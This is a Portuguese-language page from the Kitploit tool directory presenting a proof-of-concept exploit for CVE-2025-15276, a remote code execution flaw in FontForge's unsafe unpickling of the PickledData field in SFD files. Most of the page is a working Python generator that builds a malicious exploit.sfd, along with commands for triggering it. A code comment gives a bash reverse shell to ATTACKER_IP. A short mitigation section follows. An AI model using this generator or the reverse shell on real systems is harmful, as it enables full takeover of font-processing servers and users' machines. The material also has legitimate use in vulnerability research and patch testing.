Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-15276-poc — Prova de conceito para CVE-2025-15276 - Vulnerabilidade de execução remota de código por desserialização de dados não confiáveis na análise de arquivos SFD do FontForge | Kitploit
Ferramentas/GitHubGitHub/ahmedreda38/cve-2025-15276-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoFerramenta de Acesso RemotoExploração de Binários
GitHubahmedreda38/cve-2025-15276-poc

CVE-2025-15276-poc

Prova de conceito para CVE-2025-15276 - Vulnerabilidade de execução remota de código por desserialização de dados não confiáveis na análise de arquivos SFD do FontForge

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
22há 5 mesesAinda não revisado
Compartilhar

CVE-2025-15276: Desserialização insegura do PickledData do SFD do FontForge (RCE)

Aviso Legal

Esta Prova de Conceito (PoC) destina-se apenas a fins educacionais e auditoria de segurança. O autor não é responsável por qualquer uso indevido desta informação. O acesso não autorizado a sistemas de computador é ilegal. Obtenha sempre permissão explícita antes de realizar testes de segurança em qualquer sistema.


Visão Geral da Vulnerabilidade

A CVE-2025-15276 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) no FontForge (versões até e incluindo a 20230101). A falha existe no parse do formato Spline Font Database (.sfd), especificamente dentro do campo PickledData.

Detalhe Técnico

O formato SFD do FontForge permite o armazenamento de dicionários Python persistentes usando a palavra-chave PickledData. Quando uma fonte é carregada, o FontForge extrai essa string e a passa diretamente para a função do Python (ou uma rotina interna equivalente de desserialização) sem qualquer sanitização ou sandboxing.

pickle.loads()

Como o módulo pickle do Python é inerentemente inseguro e permite a reconstrução arbitrária de objetos, um atacante pode usar o método __reduce__ para executar comandos arbitrários do sistema com os privilégios do usuário que está executando o FontForge.


Etapas de Reprodução

1. Requisitos

  • FontForge vulnerável: Versão 20230101 ou anterior.
  • Python 3.x: Para gerar o payload malicioso.

2. Gerar o Arquivo SFD Malicioso

Use o seguinte script Python (gen_poc.py) para criar um arquivo exploit.sfd. Esta PoC está configurada para criar um arquivo em /tmp/pwned como um indicador seguro de comprometimento (IoC).

root@kitploit:~
import pickle
import os

# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"

class Exploit(object):
    def __reduce__(self):
        return (os.system, (cmd,))

# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')

# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')

# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""

with open("exploit.sfd", "w") as f:
    f.write(sfd_content)

print("[+] exploit.sfd generated successfully.")

3. Acionar a Vulnerabilidade

A vulnerabilidade pode ser acionada simplesmente abrindo o arquivo com o FontForge.

Opção A: Carregamento padrão via GUI/CLI

root@kitploit:~
fontforge exploit.sfd

Opção B: Interface de Script Python (comum em pipelines automatizados)

root@kitploit:~
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'

4. Verificação

Verifique se o comando foi executado:

root@kitploit:~
ls -l /tmp/pwned

Impacto em Ambientes Automatizados

Esta vulnerabilidade é particularmente perigosa em pipelines de processamento de fontes (por exemplo, conversores de fontes baseados na web ou scripts automatizados de validação) que usam FontForge no backend para processar arquivos enviados pelo usuário. Se o script do backend chamar fontforge.open() em um arquivo .sfd não confiável, o atacante obtém controle total sobre o servidor de processamento.


Mitigação

  1. Atualize o FontForge: Atualize para a versão mais recente (v78.1.1 ou posterior), onde esses caminhos inseguros de desserialização foram corrigidos ou restringidos.
  2. Sanitize a Entrada: Se você estiver construindo ferramentas usando a API do FontForge, valide estritamente o formato do arquivo antes do processamento e nunca permita o processamento de arquivos .sfd de fontes não confiáveis.
  3. Sandboxing: Execute tarefas de processamento de fontes dentro de um contêiner de baixo privilégio (por exemplo, Docker) ou em um sandbox restrito para limitar o impacto de um possível comprometimento.

Referências

  • Entrada CVE-2025-15276 no NVD
  • Relatório da Zero Day Initiative (ZDI)
  • Repositório do FontForge no GitHub
Baixar ferramenta